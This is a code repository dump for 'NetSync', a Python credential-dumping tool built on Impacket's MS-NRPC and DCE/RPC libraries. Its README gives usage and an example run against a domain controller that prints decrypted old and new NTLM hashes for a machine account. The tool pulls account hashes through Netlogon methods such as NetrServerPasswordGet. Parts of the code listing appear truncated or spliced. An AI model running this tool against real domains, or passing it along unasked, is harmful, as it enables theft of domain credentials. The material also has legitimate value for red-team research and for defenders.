├── README.MD ├── libs ├── __init__.py ├── nrpc.py ├── rpcrt.py └── transport.py └── netsync.py /README.MD: -------------------------------------------------------------------------------- 1 | # NetSync 2 | 3 | ## Usage 4 | ``` 5 | usage: netsync.py [-h] -a ACCOUNT [-m {NetrServerPasswordGet,NetrServerTrustPasswordsGet,NetrServerGetTrustInfo}] [-ns NS] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-dc-ip ip address] [-keytab KEYTAB] target 6 | 7 | positional arguments: 8 | target [[domain/]username[:password]@] 9 | 10 | options: 11 | -h, --help show this help message and exit 12 | -a ACCOUNT, --account ACCOUNT 13 | Account name to dump hash. 14 | -m {NetrServerPasswordGet,NetrServerTrustPasswordsGet,NetrServerGetTrustInfo}, --method {NetrServerPasswordGet,NetrServerTrustPasswordsGet,NetrServerGetTrustInfo} 15 | Method to dump hash. 16 | -ns NS Nameserver to resolve targetName 17 | -ts adds timestamp to every logging output 18 | -debug Turn DEBUG output ON 19 | 20 | authentication: 21 | -hashes LMHASH:NTHASH 22 | NTLM hashes, format is LMHASH:NTHASH 23 | -dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter 24 | -keytab KEYTAB Read keys for SPN from keytab file 25 | ``` 26 | 27 | ## Example 28 | ``` 29 | ╰─❯ python netsync.py redlab.com/'dc2019$'@dc2019.redlab.com -hashes :9dd4cd13786ba6fefcf9730a7f7b5195 -ns 10.211.55.5 -a 'dc2019$' 30 | 31 | _ _ _ ____ 32 | | \ | | ___| |_/ ___| _ _ _ __ ___ 33 | | \| |/ _ \ __\___ \| | | | '_ \ / __| 34 | | |\ | __/ |_ ___) | |_| | | | | (__ 35 | |_| \_|\___|\__|____/ \__, |_| |_|\___| 36 | |___/ 37 | 38 | [*] HostName: dc2019.redlab.com -> Resolved: 10.211.55.5 39 | [*] Using domain controller: dc2019.redlab.com for domain redlab.com 40 | [*] Capabilities: 1076809540 41 | [*] Authenticated successfully! have these capabilities: SupportsRC4, DoesNotRequireValidationLevel2, SupportsRefusePasswordChange, SupportsNetrLogonSendToSam, SupportsGenericPassThroughAuthentication, SupportsConcurrentRpcCalls, SupportsStrongKeys, SupportsTransitiveTrusts, SupportsNetrServerPasswordSet2, SupportsNetrLogonGetDomainInfo, SupportsCrossForestTrusts, SupportsRodcPassThroughToDifferentDomains, SupportsSecureRpc 42 | [*] Tring to sync password for dc2019$ using credentials for dc2019$ 43 | [*] Decrypt Old Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 44 | [*] Decrypt New Hash: 9dd4cd13786ba6fefcf9730a7f7b5195 45 | ``` 46 | 47 | Support 3 methods to get hash: NetrServerPasswordGet、NetrServerTrustPasswordsGet、NetrServerGetTrustInfo 48 | 49 | 50 | ## Links 51 | * https://github.com/4ndr3w6/Presentations/blob/main/Texas_Cyber_Summit_2023/Slides/You_Disliked_DCSync_Wait_For_NetSync_Texas_Cyber_Summit_2023_Charlie_Andrew_Final.pdf 52 | * https://trustedsec.com/blog/the-tale-of-the-lost-but-not-forgotten-undocumented-netsync-part-1 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /libs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ridter/netsync/c5496053b85f2df5ce4261e342371bc992b15c64/libs/__init__.py -------------------------------------------------------------------------------- /libs/nrpc.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # Copyright (C) 2023 Fortra. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # [MS-NRPC] Interface implementation 11 | # 12 | # Best way to learn how to use these calls is to grab the protocol standard 13 | # so you understand what the call does, and then read the test case located 14 | # at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC 15 | # 16 | # Some calls have helper functions, which makes it even easier to use. 17 | # They are located at the end of this file. 18 | # Helper functions start with "h". 19 | # There are test cases for them too. 20 | # 21 | # Author: 22 | # Alberto Solino (@agsolino) 23 | # 24 | import time 25 | from struct import pack, unpack 26 | from six import b 27 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRENUM, NDRUNION, NDRPOINTER, NDRUniConformantArray, \ 28 | NDRUniFixedArray, NDRUniConformantVaryingArray 29 | from impacket.dcerpc.v5.dtypes import WSTR, LPWSTR, DWORD, ULONG, USHORT, PGUID, NTSTATUS, NULL, LONG, UCHAR, PRPC_SID, \ 30 | GUID, RPC_UNICODE_STRING, SECURITY_INFORMATION, LPULONG, ULONGLONG 31 | from impacket import system_errors, nt_errors 32 | from impacket.uuid import uuidtup_to_bin 33 | from impacket.dcerpc.v5.enum import Enum 34 | from impacket.dcerpc.v5.samr import OLD_LARGE_INTEGER 35 | from impacket.dcerpc.v5.lsad import PLSA_FOREST_TRUST_INFORMATION 36 | from impacket.dcerpc.v5.rpcrt import DCERPCException 37 | from impacket.structure import Structure 38 | from impacket import ntlm, crypto, LOG 39 | import hmac 40 | import hashlib 41 | try: 42 | from Cryptodome.Cipher import DES, AES, ARC4 43 | except ImportError: 44 | LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") 45 | LOG.critical("See https://pypi.org/project/pycryptodomex/") 46 | 47 | MSRPC_UUID_NRPC = uuidtup_to_bin(('12345678-1234-ABCD-EF00-01234567CFFB', '1.0')) 48 | 49 | class DCERPCSessionError(DCERPCException): 50 | def __init__(self, error_string=None, error_code=None, packet=None): 51 | DCERPCException.__init__(self, error_string, error_code, packet) 52 | 53 | def __str__( self ): 54 | key = self.error_code 55 | if key in system_errors.ERROR_MESSAGES: 56 | error_msg_short = system_errors.ERROR_MESSAGES[key][0] 57 | error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] 58 | return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 59 | elif key in nt_errors.ERROR_MESSAGES: 60 | error_msg_short = nt_errors.ERROR_MESSAGES[key][0] 61 | error_msg_verbose = nt_errors.ERROR_MESSAGES[key][1] 62 | return 'NRPC SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose) 63 | else: 64 | return 'NRPC SessionError: unknown error code: 0x%x' % (self.error_code) 65 | 66 | ################################################################################ 67 | # CONSTANTS 68 | ################################################################################ 69 | # 2.2.1.2.5 NL_DNS_NAME_INFO 70 | # Type 71 | NlDnsLdapAtSite = 22 72 | NlDnsGcAtSite = 25 73 | NlDnsDsaCname = 28 74 | NlDnsKdcAtSite = 30 75 | NlDnsDcAtSite = 32 76 | NlDnsRfc1510KdcAtSite = 34 77 | NlDnsGenericGcAtSite = 36 78 | 79 | # DnsDomainInfoType 80 | NlDnsDomainName = 1 81 | NlDnsDomainNameAlias = 2 82 | NlDnsForestName = 3 83 | NlDnsForestNameAlias = 4 84 | NlDnsNdncDomainName = 5 85 | NlDnsRecordName = 6 86 | 87 | # 2.2.1.3.15 NL_OSVERSIONINFO_V1 88 | # wSuiteMask 89 | VER_SUITE_BACKOFFICE = 0x00000004 90 | VER_SUITE_BLADE = 0x00000400 91 | VER_SUITE_COMPUTE_SERVER = 0x00004000 92 | VER_SUITE_DATACENTER = 0x00000080 93 | VER_SUITE_ENTERPRISE = 0x00000002 94 | VER_SUITE_EMBEDDEDNT = 0x00000040 95 | VER_SUITE_PERSONAL = 0x00000200 96 | VER_SUITE_SINGLEUSERTS = 0x00000100 97 | VER_SUITE_SMALLBUSINESS = 0x00000001 98 | VER_SUITE_SMALLBUSINESS_RESTRICTED = 0x00000020 99 | VER_SUITE_STORAGE_SERVER = 0x00002000 100 | VER_SUITE_TERMINAL = 0x00000010 101 | 102 | # wProductType 103 | VER_NT_DOMAIN_CONTROLLER = 0x00000002 104 | VER_NT_SERVER = 0x00000003 105 | VER_NT_WORKSTATION = 0x00000001 106 | 107 | # 2.2.1.4.18 NETLOGON Specific Access Masks 108 | NETLOGON_UAS_LOGON_ACCESS = 0x0001 109 | NETLOGON_UAS_LOGOFF_ACCESS = 0x0002 110 | NETLOGON_CONTROL_ACCESS = 0x0004 111 | NETLOGON_QUERY_ACCESS = 0x0008 112 | NETLOGON_SERVICE_ACCESS = 0x0010 113 | NETLOGON_FTINFO_ACCESS = 0x0020 114 | NETLOGON_WKSTA_RPC_ACCESS = 0x0040 115 | 116 | # 3.5.4.9.1 NetrLogonControl2Ex (Opnum 18) 117 | # FunctionCode 118 | NETLOGON_CONTROL_QUERY = 0x00000001 119 | NETLOGON_CONTROL_REPLICATE = 0x00000002 120 | NETLOGON_CONTROL_SYNCHRONIZE = 0x00000003 121 | NETLOGON_CONTROL_PDC_REPLICATE = 0x00000004 122 | NETLOGON_CONTROL_REDISCOVER = 0x00000005 123 | NETLOGON_CONTROL_TC_QUERY = 0x00000006 124 | NETLOGON_CONTROL_TRANSPORT_NOTIFY = 0x00000007 125 | NETLOGON_CONTROL_FIND_USER = 0x00000008 126 | NETLOGON_CONTROL_CHANGE_PASSWORD = 0x00000009 127 | NETLOGON_CONTROL_TC_VERIFY = 0x0000000A 128 | NETLOGON_CONTROL_FORCE_DNS_REG = 0x0000000B 129 | NETLOGON_CONTROL_QUERY_DNS_REG = 0x0000000C 130 | NETLOGON_CONTROL_BACKUP_CHANGE_LOG = 0x0000FFFC 131 | NETLOGON_CONTROL_TRUNCATE_LOG = 0x0000FFFD 132 | NETLOGON_CONTROL_SET_DBFLAG = 0x0000FFFE 133 | NETLOGON_CONTROL_BREAKPOINT = 0x0000FFFF 134 | 135 | ################################################################################ 136 | # STRUCTURES 137 | ################################################################################ 138 | # 3.5.4.1 RPC Binding Handles for Netlogon Methods 139 | LOGONSRV_HANDLE = WSTR 140 | PLOGONSRV_HANDLE = LPWSTR 141 | 142 | # 2.2.1.1.1 CYPHER_BLOCK 143 | class CYPHER_BLOCK(NDRSTRUCT): 144 | structure = ( 145 | ('Data', '8s=b""'), 146 | ) 147 | def getAlignment(self): 148 | return 1 149 | 150 | NET_API_STATUS = DWORD 151 | 152 | # 2.2.1.1.2 STRING 153 | from impacket.dcerpc.v5.lsad import STRING 154 | 155 | # 2.2.1.1.3 LM_OWF_PASSWORD 156 | class CYPHER_BLOCK_ARRAY(NDRUniFixedArray): 157 | def getDataLen(self, data, offset=0): 158 | return len(CYPHER_BLOCK())*2 159 | 160 | class LM_OWF_PASSWORD(NDRSTRUCT): 161 | structure = ( 162 | ('Data', CYPHER_BLOCK_ARRAY), 163 | ) 164 | 165 | # 2.2.1.1.4 NT_OWF_PASSWORD 166 | NT_OWF_PASSWORD = LM_OWF_PASSWORD 167 | ENCRYPTED_NT_OWF_PASSWORD = NT_OWF_PASSWORD 168 | 169 | # 2.2.1.3.4 NETLOGON_CREDENTIAL 170 | class UCHAR_FIXED_ARRAY(NDRUniFixedArray): 171 | align = 1 172 | def getDataLen(self, data, offset=0): 173 | return len(CYPHER_BLOCK()) 174 | 175 | class NETLOGON_CREDENTIAL(NDRSTRUCT): 176 | structure = ( 177 | ('Data',UCHAR_FIXED_ARRAY), 178 | ) 179 | def getAlignment(self): 180 | return 1 181 | 182 | # 2.2.1.1.5 NETLOGON_AUTHENTICATOR 183 | class NETLOGON_AUTHENTICATOR(NDRSTRUCT): 184 | structure = ( 185 | ('Credential', NETLOGON_CREDENTIAL), 186 | ('Timestamp', DWORD), 187 | ) 188 | 189 | class PNETLOGON_AUTHENTICATOR(NDRPOINTER): 190 | referent = ( 191 | ('Data', NETLOGON_AUTHENTICATOR), 192 | ) 193 | 194 | # 2.2.1.2.1 DOMAIN_CONTROLLER_INFOW 195 | class DOMAIN_CONTROLLER_INFOW(NDRSTRUCT): 196 | structure = ( 197 | ('DomainControllerName', LPWSTR), 198 | ('DomainControllerAddress', LPWSTR), 199 | ('DomainControllerAddressType', ULONG), 200 | ('DomainGuid', GUID), 201 | ('DomainName', LPWSTR), 202 | ('DnsForestName', LPWSTR), 203 | ('Flags', ULONG), 204 | ('DcSiteName', LPWSTR), 205 | ('ClientSiteName', LPWSTR), 206 | ) 207 | 208 | class PDOMAIN_CONTROLLER_INFOW(NDRPOINTER): 209 | referent = ( 210 | ('Data', DOMAIN_CONTROLLER_INFOW), 211 | ) 212 | 213 | # 2.2.1.2.2 NL_SITE_NAME_ARRAY 214 | class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): 215 | item = RPC_UNICODE_STRING 216 | 217 | class PRPC_UNICODE_STRING_ARRAY(NDRPOINTER): 218 | referent = ( 219 | ('Data', RPC_UNICODE_STRING_ARRAY), 220 | ) 221 | 222 | class NL_SITE_NAME_ARRAY(NDRSTRUCT): 223 | structure = ( 224 | ('EntryCount', ULONG), 225 | ('SiteNames', PRPC_UNICODE_STRING_ARRAY), 226 | ) 227 | 228 | class PNL_SITE_NAME_ARRAY(NDRPOINTER): 229 | referent = ( 230 | ('Data', NL_SITE_NAME_ARRAY), 231 | ) 232 | 233 | # 2.2.1.2.3 NL_SITE_NAME_EX_ARRAY 234 | class RPC_UNICODE_STRING_ARRAY(NDRUniConformantArray): 235 | item = RPC_UNICODE_STRING 236 | 237 | class NL_SITE_NAME_EX_ARRAY(NDRSTRUCT): 238 | structure = ( 239 | ('EntryCount', ULONG), 240 | ('SiteNames', PRPC_UNICODE_STRING_ARRAY), 241 | ('SubnetNames', PRPC_UNICODE_STRING_ARRAY), 242 | ) 243 | 244 | class PNL_SITE_NAME_EX_ARRAY(NDRPOINTER): 245 | referent = ( 246 | ('Data', NL_SITE_NAME_EX_ARRAY), 247 | ) 248 | 249 | # 2.2.1.2.4 NL_SOCKET_ADDRESS 250 | # 2.2.1.2.4.1 IPv4 Address Structure 251 | class IPv4Address(Structure): 252 | structure = ( 253 | ('AddressFamily', '> 32) & 0xffffffff 1687 | sequenceHigh |= 0x80000000 1688 | 1689 | res = pack('>L', sequenceLow) 1690 | res += pack('>L', sequenceHigh) 1691 | return res 1692 | 1693 | def ComputeNetlogonSignatureAES(authSignature, message, confounder, sessionKey): 1694 | # [MS-NRPC] Section 3.3.4.2.1, point 7 1695 | hm = hmac.new(key=sessionKey, digestmod=hashlib.sha256) 1696 | hm.update(authSignature.getData()[:8]) 1697 | # If no confidentiality requested, it should be '' 1698 | hm.update(confounder) 1699 | hm.update(bytes(message)) 1700 | return hm.digest()[:8] 1701 | 1702 | def ComputeNetlogonSignatureMD5(authSignature, message, confounder, sessionKey): 1703 | # [MS-NRPC] Section 3.3.4.2.1, point 7 1704 | md5 = hashlib.new('md5') 1705 | md5.update(b'\x00'*4) 1706 | md5.update(authSignature.getData()[:8]) 1707 | # If no confidentiality requested, it should be '' 1708 | md5.update(confounder) 1709 | md5.update(bytes(message)) 1710 | finalMD5 = md5.digest() 1711 | hm = hmac.new(sessionKey, digestmod=hashlib.md5) 1712 | hm.update(finalMD5) 1713 | return hm.digest()[:8] 1714 | 1715 | def ComputeNetlogonAuthenticatorAES(clientStoredCredential, sessionKey): 1716 | # [MS-NRPC] Section 3.1.4.5 1717 | timestamp = int(time.time()) 1718 | 1719 | authenticator = NETLOGON_AUTHENTICATOR() 1720 | authenticator['Timestamp'] = timestamp 1721 | 1722 | credential = unpack(' 0xffffffff: 1724 | credential &= 0xffffffff 1725 | credential = pack(' 0xffffffff: 1739 | credential &= 0xffffffff 1740 | credential = pack(' MAX_LABEL_LENGTH: 1909 | raise ValueError("Label exceeded max length of 63 bytes.") 1910 | buf.append(len(label_bytes)) 1911 | buf.extend(label_bytes) 1912 | buf.append(0) 1913 | 1914 | return bytes(buf) 1915 | 1916 | def createNlAuthMessage(clientComputerName, domainName): 1917 | auth = NL_AUTH_MESSAGE() 1918 | auth['MessageType'] = NL_AUTH_MESSAGE_REQUEST 1919 | if '.' in domainName: 1920 | auth['Flags'] = NL_AUTH_MESSAGE_NETBIOS_HOST | NL_AUTH_MESSAGE_DNS_DOMAIN 1921 | auth['Buffer'] = b(clientComputerName) + b'\x00' + toCompressedUtf8String(domainName) 1922 | else: 1923 | auth['Flags'] = NL_AUTH_MESSAGE_NETBIOS_DOMAIN | NL_AUTH_MESSAGE_NETBIOS_HOST 1924 | auth['Buffer'] = b(domainName) + b'\x00' + b(clientComputerName) + b'\x00' 1925 | return auth 1926 | 1927 | def getSSPType1(workstation='', domain='', signingRequired=False): 1928 | auth = NL_AUTH_MESSAGE() 1929 | auth['Flags'] = 0 1930 | auth['Buffer'] = b'' 1931 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_DOMAIN 1932 | if domain != '': 1933 | auth['Buffer'] = auth['Buffer'] + b(domain) + b'\x00' 1934 | else: 1935 | auth['Buffer'] += b'WORKGROUP\x00' 1936 | 1937 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST 1938 | 1939 | if workstation != '': 1940 | auth['Buffer'] = auth['Buffer'] + b(workstation) + b'\x00' 1941 | else: 1942 | auth['Buffer'] += b'MYHOST\x00' 1943 | 1944 | auth['Flags'] |= NL_AUTH_MESSAGE_NETBIOS_HOST_UTF8 1945 | 1946 | if workstation != '': 1947 | auth['Buffer'] += pack(' 0 else 0)+len(pduData)+len(pad)+len(sec_trailer)'), # 8 621 | ('auth_len',' 0 else 0)'), 627 | ('pduData',':'), 628 | ('_pad', '_-pad','(4 - ((self._SIZE + (16 if (self["flags"] & 0x80) > 0 else 0) + len(self["pduData"])) & 3) & 3)'), 629 | ('pad', ':'), 630 | ('_sec_trailer', '_-sec_trailer', '8 if self["auth_len"] > 0 else 0'), 631 | ('sec_trailer',':'), 632 | ('auth_dataLen','_-auth_data','self["auth_len"]'), 633 | ('auth_data',':'), 634 | ) 635 | 636 | def __init__(self, data = None, alignment = 0): 637 | Structure.__init__(self,data, alignment) 638 | if data is None: 639 | self['ver_major'] = 5 640 | self['ver_minor'] = 0 641 | self['flags'] = PFC_FIRST_FRAG | PFC_LAST_FRAG 642 | self['type'] = MSRPC_REQUEST 643 | self.__frag_len_set = 0 644 | self['auth_len'] = 0 645 | self['pduData'] = b'' 646 | self['auth_data'] = b'' 647 | self['sec_trailer'] = b'' 648 | self['pad'] = b'' 649 | 650 | def get_header_size(self): 651 | return self._SIZE + (16 if (self["flags"] & PFC_OBJECT_UUID) > 0 else 0) 652 | 653 | def get_packet(self): 654 | if self['auth_data'] != b'': 655 | self['auth_len'] = len(self['auth_data']) 656 | # The sec_trailer structure MUST be 4-byte aligned with respect to 657 | # the beginning of the PDU. Padding octets MUST be used to align the 658 | # sec_trailer structure if its natural beginning is not already 4-byte aligned 659 | ##self['pad'] = '\xAA' * (4 - ((self._SIZE + len(self['pduData'])) & 3) & 3) 660 | 661 | return self.getData() 662 | 663 | class MSRPCRequestHeader(MSRPCHeader): 664 | _SIZE = 24 665 | commonHdr = MSRPCHeader.commonHdr + ( 666 | ('alloc_hint',' 0 else 0' ), # 22 670 | ('uuid',':'), # 22 671 | ) 672 | 673 | def __init__(self, data = None, alignment = 0): 674 | MSRPCHeader.__init__(self, data, alignment) 675 | if data is None: 676 | self['type'] = MSRPC_REQUEST 677 | self['ctx_id'] = 0 678 | self['uuid'] = b'' 679 | 680 | class MSRPCRespHeader(MSRPCHeader): 681 | _SIZE = 24 682 | commonHdr = MSRPCHeader.commonHdr + ( 683 | ('alloc_hint',' 0 else 0'), 744 | ('sec_trailer',':'), 745 | ('auth_dataLen','_-auth_data','self["auth_len"]'), 746 | ('auth_data',':'), 747 | ) 748 | def __init__(self, data = None, alignment = 0): 749 | self.__ctx_items = [] 750 | MSRPCHeader.__init__(self,data,alignment) 751 | if data is None: 752 | self['Pad'] = b'' 753 | self['ctx_items'] = b'' 754 | self['sec_trailer'] = b'' 755 | self['auth_data'] = b'' 756 | 757 | def getCtxItems(self): 758 | return self.__ctx_items 759 | 760 | def getCtxItem(self,index): 761 | return self.__ctx_items[index-1] 762 | 763 | def fromString(self, data): 764 | Structure.fromString(self,data) 765 | # Parse the ctx_items 766 | data = self['ctx_items'] 767 | for i in range(self['ctx_num']): 768 | item = CtxItemResult(data) 769 | self.__ctx_items.append(item) 770 | data = data[len(item):] 771 | 772 | class MSRPCBindNak(Structure): 773 | structure = ( 774 | ('RejectedReason',' 0: 1267 | # User set a frag size, let's compare it with the max transmit size agreed when binding the interface 1268 | fragment_size = min(self._max_user_frag, self.__max_xmit_size) 1269 | else: 1270 | fragment_size = self.__max_xmit_size 1271 | 1272 | # Sanity check. Fragmentation can't be too low, otherwise sec_trailer won't fit 1273 | 1274 | if self.__auth_level in [RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY]: 1275 | if fragment_size <= 8: 1276 | # Minimum pdu fragment size is 8, important when doing PKT_INTEGRITY/PRIVACY. We need a minimum size of 8 1277 | # (Kerberos) 1278 | fragment_size = 8 1279 | 1280 | # ToDo: Better calculate the size needed. Now I'm setting a number that surely is enough for Kerberos and NTLM 1281 | # ToDo: trailers, both for INTEGRITY and PRIVACY. This means we're not truly honoring the user's frag request. 1282 | if len(data['pduData']) + 128 > fragment_size: 1283 | should_fragment = True 1284 | if fragment_size+128 > self.__max_xmit_size: 1285 | fragment_size = self.__max_xmit_size - 128 1286 | 1287 | if should_fragment: 1288 | packet = data['pduData'] 1289 | offset = 0 1290 | 1291 | while 1: 1292 | toSend = packet[offset:offset+fragment_size] 1293 | if not toSend: 1294 | break 1295 | if offset == 0: 1296 | data['flags'] |= PFC_FIRST_FRAG 1297 | else: 1298 | data['flags'] &= (~PFC_FIRST_FRAG) 1299 | offset += len(toSend) 1300 | if offset >= len(packet): 1301 | data['flags'] |= PFC_LAST_FRAG 1302 | else: 1303 | data['flags'] &= (~PFC_LAST_FRAG) 1304 | data['pduData'] = toSend 1305 | self._transport_send(data, forceWriteAndx = 1, forceRecv =data['flags'] & PFC_LAST_FRAG) 1306 | else: 1307 | self._transport_send(data) 1308 | self.__callid += 1 1309 | 1310 | def recv(self): 1311 | finished = False 1312 | forceRecv = 0 1313 | retAnswer = b'' 1314 | while not finished: 1315 | # At least give me the MSRPCRespHeader, especially important for 1316 | # TCP/UDP Transports 1317 | response_data = self._transport.recv(forceRecv, count=MSRPCRespHeader._SIZE) 1318 | response_header = MSRPCRespHeader(response_data) 1319 | # Ok, there might be situation, especially with large packets, that 1320 | # the transport layer didn't send us the full packet's contents 1321 | # So we gotta check we received it all 1322 | while len(response_data) < response_header['frag_len']: 1323 | response_data += self._transport.recv(forceRecv, count=(response_header['frag_len']-len(response_data))) 1324 | 1325 | off = response_header.get_header_size() 1326 | 1327 | if response_header['type'] == MSRPC_FAULT and response_header['frag_len'] >= off+4: 1328 | status_code = unpack(" 0: 1386 | answer, cfounder = self.__gss.GSS_Unwrap(self.__sessionKey, answer, self.__sequence, 1387 | direction='init', authData=auth_data) 1388 | 1389 | elif sec_trailer['auth_level'] == RPC_C_AUTHN_LEVEL_PKT_INTEGRITY: 1390 | if self.__auth_type == RPC_C_AUTHN_WINNT: 1391 | ntlmssp = auth_data[12:] 1392 | if self.__flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY: 1393 | signature = ntlm.SIGN(self.__flags, 1394 | self.__serverSigningKey, 1395 | answer, 1396 | self.__sequence, 1397 | self.__serverSealingHandle) 1398 | else: 1399 | signature = ntlm.SIGN(self.__flags, 1400 | self.__serverSigningKey, 1401 | ntlmssp, 1402 | self.__sequence, 1403 | self.__serverSealingHandle) 1404 | # Yes.. NTLM2 doesn't increment sequence when receiving 1405 | # the packet :P 1406 | self.__sequence += 1 1407 | elif self.__auth_type == RPC_C_AUTHN_NETLOGON: 1408 | from impacket.dcerpc.v5 import nrpc 1409 | ntlmssp = auth_data[12:] 1410 | signature = nrpc.SIGN(ntlmssp, 1411 | self.__confounder, 1412 | self.__sequence, 1413 | self.__sessionKey, 1414 | self.__aesNegociated) 1415 | self.__sequence += 1 1416 | elif self.__auth_type == RPC_C_AUTHN_GSS_NEGOTIATE: 1417 | # Do NOT increment the sequence number when Signing Kerberos 1418 | #self.__sequence += 1 1419 | pass 1420 | 1421 | 1422 | if sec_trailer['auth_pad_len']: 1423 | answer = answer[:-sec_trailer['auth_pad_len']] 1424 | 1425 | retAnswer += answer 1426 | return retAnswer 1427 | 1428 | def alter_ctx(self, newUID, bogus_binds = 0): 1429 | answer = self.__class__(self._transport) 1430 | 1431 | answer.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, 1432 | self.__aesKey, self.__TGT, self.__TGS) 1433 | answer.set_auth_type(self.__auth_type) 1434 | answer.set_auth_level(self.__auth_level) 1435 | 1436 | answer.set_ctx_id(self._ctx+1) 1437 | answer.__callid = self.__callid 1438 | # print(self.transfer_syntax) 1439 | answer.bind(newUID, alter = 1, bogus_binds = bogus_binds, transfer_syntax = bin_to_uuidtup(self.transfer_syntax)) 1440 | return answer 1441 | 1442 | class DCERPC_RawCall(MSRPCRequestHeader): 1443 | def __init__(self, op_num, data = b'', uuid=None): 1444 | MSRPCRequestHeader.__init__(self) 1445 | self['op_num'] = op_num 1446 | self['pduData'] = data 1447 | if uuid is not None: 1448 | self['flags'] |= PFC_OBJECT_UUID 1449 | self['uuid'] = uuid 1450 | 1451 | def setData(self, data): 1452 | self['pduData'] = data 1453 | 1454 | # 2.2.6 Type Serialization Version 1 1455 | class CommonHeader(NDRSTRUCT): 1456 | structure = ( 1457 | ('Version', UCHAR), 1458 | ('Endianness', UCHAR), 1459 | ('CommonHeaderLength', USHORT), 1460 | ('Filler', ULONG), 1461 | ) 1462 | def __init__(self, data = None,isNDR64 = False): 1463 | NDRSTRUCT.__init__(self, data, isNDR64) 1464 | if data is None: 1465 | self['Version'] = 1 1466 | self['Endianness'] = 0x10 1467 | self['CommonHeaderLength'] = 8 1468 | self['Filler'] = 0xcccccccc 1469 | 1470 | class PrivateHeader(NDRSTRUCT): 1471 | structure = ( 1472 | ('ObjectBufferLength', ULONG), 1473 | ('Filler', ULONG), 1474 | ) 1475 | def __init__(self, data = None,isNDR64 = False): 1476 | NDRSTRUCT.__init__(self, data, isNDR64) 1477 | if data is None: 1478 | self['Filler'] = 0xcccccccc 1479 | 1480 | class TypeSerialization1(NDRSTRUCT): 1481 | commonHdr = ( 1482 | ('CommonHeader', CommonHeader), 1483 | ('PrivateHeader', PrivateHeader), 1484 | ) 1485 | def getData(self, soFar = 0): 1486 | self['PrivateHeader']['ObjectBufferLength'] = len(NDRSTRUCT.getData(self, soFar)) + len( 1487 | NDRSTRUCT.getDataReferents(self, soFar)) - len(self['CommonHeader']) - len(self['PrivateHeader']) 1488 | return NDRSTRUCT.getData(self, soFar) 1489 | 1490 | class DCERPCServer(Thread): 1491 | """ 1492 | A minimalistic DCERPC Server, mainly used by the smbserver, for now. Might be useful 1493 | for other purposes in the future, but we should do it way stronger. 1494 | If you want to implement a DCE Interface Server, use this class as the base class 1495 | """ 1496 | def __init__(self): 1497 | Thread.__init__(self) 1498 | self._listenPort = 0 1499 | self._listenAddress = '127.0.0.1' 1500 | self._listenUUIDS = {} 1501 | self._boundUUID = b'' 1502 | self._sock = None 1503 | self._clientSock = None 1504 | self._callid = 1 1505 | self._max_frag = None 1506 | self._max_xmit_size = 4280 1507 | self.__log = LOG 1508 | self._sock = socket.socket() 1509 | self._sock.bind((self._listenAddress,self._listenPort)) 1510 | 1511 | def log(self, msg, level=logging.INFO): 1512 | self.__log.log(level,msg) 1513 | 1514 | def addCallbacks(self, ifaceUUID, secondaryAddr, callbacks): 1515 | """ 1516 | adds a call back to a UUID/opnum call 1517 | 1518 | :param uuid ifaceUUID: the interface UUID 1519 | :param string secondaryAddr: the secondary address to answer as part of the bind request (e.g. \\\\PIPE\\\\srvsvc) 1520 | :param dict callbacks: the callbacks for each opnum. Format is [opnum] = callback 1521 | """ 1522 | self._listenUUIDS[uuidtup_to_bin(ifaceUUID)] = {} 1523 | self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['SecondaryAddr'] = secondaryAddr 1524 | self._listenUUIDS[uuidtup_to_bin(ifaceUUID)]['CallBacks'] = callbacks 1525 | self.log("Callback added for UUID %s V:%s" % ifaceUUID) 1526 | 1527 | def setListenPort(self, portNum): 1528 | self._listenPort = portNum 1529 | self._sock = socket.socket() 1530 | self._sock.bind((self._listenAddress,self._listenPort)) 1531 | 1532 | def getListenPort(self): 1533 | return self._sock.getsockname()[1] 1534 | 1535 | def recv(self): 1536 | finished = False 1537 | retAnswer = b'' 1538 | response_data = b'' 1539 | while not finished: 1540 | # At least give me the MSRPCRespHeader, especially important for TCP/UDP Transports 1541 | response_data = self._clientSock.recv(MSRPCRespHeader._SIZE) 1542 | # No data?, connection might have closed 1543 | if response_data == b'': 1544 | return None 1545 | response_header = MSRPCRespHeader(response_data) 1546 | # Ok, there might be situation, especially with large packets, 1547 | # that the transport layer didn't send us the full packet's contents 1548 | # So we gotta check we received it all 1549 | while len(response_data) < response_header['frag_len']: 1550 | response_data += self._clientSock.recv(response_header['frag_len']-len(response_data)) 1551 | response_header = MSRPCRespHeader(response_data) 1552 | if response_header['flags'] & PFC_LAST_FRAG: 1553 | # No need to reassembly DCERPC 1554 | finished = True 1555 | answer = response_header['pduData'] 1556 | auth_len = response_header['auth_len'] 1557 | if auth_len: 1558 | auth_len += 8 1559 | auth_data = answer[-auth_len:] 1560 | sec_trailer = SEC_TRAILER(data = auth_data) 1561 | answer = answer[:-auth_len] 1562 | if sec_trailer['auth_pad_len']: 1563 | answer = answer[:-sec_trailer['auth_pad_len']] 1564 | 1565 | retAnswer += answer 1566 | return response_data 1567 | 1568 | def run(self): 1569 | self._sock.listen(10) 1570 | while True: 1571 | self._clientSock, address = self._sock.accept() 1572 | try: 1573 | while True: 1574 | data = self.recv() 1575 | if data is None: 1576 | # No data.. connection closed 